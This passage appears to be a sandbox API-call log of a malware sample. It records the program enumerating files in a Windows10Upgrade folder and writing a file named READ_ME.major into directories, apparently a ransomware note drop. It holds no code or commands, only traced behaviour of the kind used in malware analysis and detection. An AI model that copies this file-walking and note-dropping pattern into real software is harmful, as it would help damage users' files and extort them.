dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.294] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0129.294] WriteFile (in: hFile=0x470, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.295] CloseHandle (hObject=0x470) returned 1 [0129.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0129.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0129.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0129.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0129.296] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea380798, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea380798, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x326c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="downloader.dll", cAlternateFileName="DOWNLO~1.DLL")) returned 1 [0129.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.296] GetLastError () returned 0x0 [0129.296] SetLastError (dwErrCode=0x0) [0129.296] GetLastError () returned 0x0 [0129.296] SetLastError (dwErrCode=0x0) [0129.296] GetLastError () returned 0x0 [0129.296] SetLastError (dwErrCode=0x0) [0129.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0129.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0129.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0129.296] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea381b2a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea381b2a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x9d2c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0129.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.296] GetLastError () returned 0x0 [0129.296] SetLastError (dwErrCode=0x0) [0129.296] GetLastError () returned 0x0 [0129.296] SetLastError (dwErrCode=0x0) [0129.296] GetLastError () returned 0x0 [0129.296] SetLastError (dwErrCode=0x0) [0129.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0129.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0129.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0129.296] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea385605, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea385605, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xc2c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DWDCW20.DLL", cAlternateFileName="")) returned 1 [0129.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.296] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.296] GetLastError () returned 0x0 [0129.296] SetLastError (dwErrCode=0x0) [0129.296] GetLastError () returned 0x0 [0129.296] SetLastError (dwErrCode=0x0) [0129.296] GetLastError () returned 0x0 [0129.297] SetLastError (dwErrCode=0x0) [0129.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7960 [0129.297] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea386943, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea386943, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xb2c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0129.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.297] GetLastError () returned 0x0 [0129.297] SetLastError (dwErrCode=0x0) [0129.297] GetLastError () returned 0x0 [0129.297] SetLastError (dwErrCode=0x0) [0129.297] GetLastError () returned 0x0 [0129.297] SetLastError (dwErrCode=0x0) [0129.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d50 [0129.297] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea387cd0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea387cd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2652, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EnableWiFiTracing.cmd", cAlternateFileName="ENABLE~1.CMD")) returned 1 [0129.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.297] GetLastError () returned 0x0 [0129.297] SetLastError (dwErrCode=0x0) [0129.297] GetLastError () returned 0x0 [0129.297] SetLastError (dwErrCode=0x0) [0129.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0129.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.297] GetLastError () returned 0x0 [0129.297] SetLastError (dwErrCode=0x0) [0129.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0129.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0129.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0129.298] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea389060, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea389060, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x10cc8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ESDHelper.dll", cAlternateFileName="ESDHEL~1.DLL")) returned 1 [0129.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0129.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.298] GetLastError () returned 0x0 [0129.298] SetLastError (dwErrCode=0x0) [0129.298] GetLastError () returned 0x0 [0129.298] SetLastError (dwErrCode=0x0) [0129.298] GetLastError () returned 0x0 [0129.298] SetLastError (dwErrCode=0x0) [0129.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0129.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0129.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0129.298] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38cadd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38cadd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x9ec8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="esdstub.dll", cAlternateFileName="")) returned 1 [0129.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.298] GetLastError () returned 0x0 [0129.298] SetLastError (dwErrCode=0x0) [0129.298] GetLastError () returned 0x0 [0129.298] SetLastError (dwErrCode=0x0) [0129.298] GetLastError () returned 0x0 [0129.298] SetLastError (dwErrCode=0x0) [0129.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0129.298] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38de7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38de7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x89ec8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GatherOSState.EXE", cAlternateFileName="GATHER~1.EXE")) returned 1 [0129.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.298] GetLastError () returned 0x0 [0129.298] SetLastError (dwErrCode=0x0) [0129.298] GetLastError () returned 0x0 [0129.298] SetLastError (dwErrCode=0x0) [0129.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0129.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.299] GetLastError () returned 0x0 [0129.299] SetLastError (dwErrCode=0x0) [0129.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0129.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0129.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0129.299] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39058e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39058e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x83cc8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GetCurrentDeploy.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0129.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0129.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.299] GetLastError () returned 0x0 [0129.299] SetLastError (dwErrCode=0x0) [0129.299] GetLastError () returned 0x0 [0129.299] SetLastError (dwErrCode=0x0) [0129.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0129.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.299] GetLastError () returned 0x0 [0129.299] SetLastError (dwErrCode=0x0) [0129.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0129.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0129.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0129.299] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea392ca4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea392ca4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~2.DLL")) returned 1 [0129.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0129.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.299] GetLastError () returned 0x0 [0129.299] SetLastError (dwErrCode=0x0) [0129.299] GetLastError () returned 0x0 [0129.299] SetLastError (dwErrCode=0x0) [0129.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0129.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.299] GetLastError () returned 0x0 [0129.299] SetLastError (dwErrCode=0x0) [0129.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0129.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0129.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0129.300] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39539e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39539e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x11ec8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GetCurrentRollback.EXE", cAlternateFileName="GETCUR~1.EXE")) returned 1 [0129.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0129.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.300] GetLastError () returned 0x0 [0129.300] SetLastError (dwErrCode=0x0) [0129.300] GetLastError () returned 0x0 [0129.300] SetLastError (dwErrCode=0x0) [0129.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0129.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.300] GetLastError () returned 0x0 [0129.300] SetLastError (dwErrCode=0x0) [0129.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0129.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0129.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0129.300] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39673d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39673d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x6cc8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="HttpHelper.exe", cAlternateFileName="HTTPHE~1.EXE")) returned 1 [0129.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0129.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.300] GetLastError () returned 0x0 [0129.300] SetLastError (dwErrCode=0x0) [0129.300] GetLastError () returned 0x0 [0129.300] SetLastError (dwErrCode=0x0) [0129.300] GetLastError () returned 0x0 [0129.300] SetLastError (dwErrCode=0x0) [0129.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0129.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0129.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0129.300] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PostOOBEScript.cmd", cAlternateFileName="POSTOO~1.CMD")) returned 1 [0129.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.300] GetLastError () returned 0x0 [0129.300] SetLastError (dwErrCode=0x0) [0129.300] GetLastError () returned 0x0 [0129.301] SetLastError (dwErrCode=0x0) [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0129.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.301] GetLastError () returned 0x0 [0129.301] SetLastError (dwErrCode=0x0) [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0129.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be6e0 [0129.301] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff2404fe, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xff2404fe, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xff2404fe, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0129.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.301] GetLastError () returned 0x0 [0129.301] SetLastError (dwErrCode=0x0) [0129.301] GetLastError () returned 0x0 [0129.301] SetLastError (dwErrCode=0x0) [0129.301] GetLastError () returned 0x0 [0129.301] SetLastError (dwErrCode=0x0) [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0129.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0129.301] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b3c1b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0129.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.301] GetLastError () returned 0x0 [0129.301] SetLastError (dwErrCode=0x0) [0129.301] GetLastError () returned 0x0 [0129.301] SetLastError (dwErrCode=0x0) [0129.301] GetLastError () returned 0x0 [0129.301] SetLastError (dwErrCode=0x0) [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0129.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79f0 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e7f0 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a38 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2d0 [0129.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0129.302] GetLastError () returned 0x0 [0129.302] SetLastError (dwErrCode=0x0) [0129.302] GetLastError () returned 0x0 [0129.302] SetLastError (dwErrCode=0x0) [0129.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0129.302] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0129.302] GetLastError () returned 0x0 [0129.302] SetLastError (dwErrCode=0x0) [0129.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0129.302] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\READ_ME.major" (normalized: "c:\\windows10upgrade\\resources\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0129.304] WriteFile (in: hFile=0x470, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.305] CloseHandle (hObject=0x470) returned 1 [0129.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0129.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0129.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0129.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a38 | out: hHeap=0x570000) returned 1 [0129.305] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea9ef415, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea9ef415, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x624407ed, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0x3d14a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="upgrader_default.log", cAlternateFileName="UPGRAD~1.LOG")) returned 1 [0129.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.306] GetLastError () returned 0x0 [0129.306] SetLastError (dwErrCode=0x0) [0129.306] GetLastError () returned 0x0 [0129.306] SetLastError (dwErrCode=0x0) [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0129.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.306] GetLastError () returned 0x0 [0129.306] SetLastError (dwErrCode=0x0) [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0129.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0129.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0129.306] FindNextFileW (in: hFindFile=0x5a3510, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccdc86a8, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x32fe02cc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="upgrader_win10.log", 